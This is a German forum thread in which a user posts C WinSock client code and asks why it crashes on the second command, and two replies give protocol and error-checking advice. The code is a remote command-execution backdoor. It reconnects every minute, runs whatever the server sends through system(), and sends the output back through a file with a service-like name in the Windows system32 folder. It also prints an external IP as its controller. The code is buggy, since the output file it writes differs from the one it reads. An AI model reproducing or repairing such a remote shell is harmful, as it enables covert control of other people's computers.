WinSock Problem
-
Also, moin moin Zusammen.
Mein ClientProgramm das zu einem Server gehört funktioniert irgendwie nicht Richtig.
main.c
#include <stdio.h> #include <winsock2.h> #include <windows.h> #pragma comment( lib, "ws2_32.lib" ) int main() { struct sockaddr_in adress; SOCKET client_socket; char befehl[] = "> C:\\tmp.txt"; char buffer[300]; char buffer_send[500000]; int gelesen; FILE *datei; WSADATA wsa; WSAStartup(MAKEWORD(2,0),&wsa); client_socket = socket(AF_INET,SOCK_STREAM,0); adress.sin_family = AF_INET; adress.sin_addr.s_addr = inet_addr("127.0.0.1"); adress.sin_port = htons(5050); if(client_socket == -1) { printf("Sorry, das Socker konnte nicht gestartet werden."); exit(1); } printf("Warten bis der Server Online ist.....\n"); while(1) { int rc=connect(client_socket,(sockaddr*)&adress,sizeof(adress)); if(rc==SOCKET_ERROR) { printf("Fehler: connect gescheitert, fehler code: %d\n",WSAGetLastError()); Sleep(60000); } else { printf("Verbunden mit 85.5.40.7..\n"); while(1) { int sendet = recv(client_socket,buffer,300,0); buffer[sendet] = 0; printf("Der Befehl: %s wurde empfange....\n",buffer); strcat(buffer,befehl); printf("Augeführeter Befehl: %s\n",buffer); system(buffer); datei = fopen("C:\\WINDOWS\\system32\\winservtmp.txt","r"); gelesen = fread(buffer_send,sizeof(char),15000,datei); fclose(datei); buffer_send[gelesen] = 0; printf("Folgendes Wird Gesendet:\n %s",buffer_send); //send(client_socket,"Hallo",5,0); send(client_socket,buffer_send,50000,0); //printf("Gesesndet:%d\n",sendet_1); } } } }Der Client soll Befehle vom die er vom Server Bekommt ausfüher und dann zurückgeben

Leider klappt dies nur beim 1. Durchgang. Beim 2. Befehl der gesendet wir, auch wenn es der gleiche ist(dir). Stürzt das Programm ab mit Kryptischen Stack werten. Vieleicht ist es ja ein Segmentationfault.
Ich hoffe jemand weiss die Lösung sonst verzweifle ich nocht

Gruss
WinSocket
-
Rückgabewert von recv() wird nicht richtig geprüft (unbedingt auf SOCKET_ERROR prüfen!).
Zudem scheinst du da kein gescheites Protokoll definiert zu haben: Woher weiss dein Programm wann ein Befehl komplett übertragen wurde? Du prüfst z.B. auf kein String-Terminierungszeichen?
-
do solltest dir eine "safesend" und eine "safereceive" funktion bauen o.ä., in der auf gesendete/empfangene pakete und fehler überprüft wird...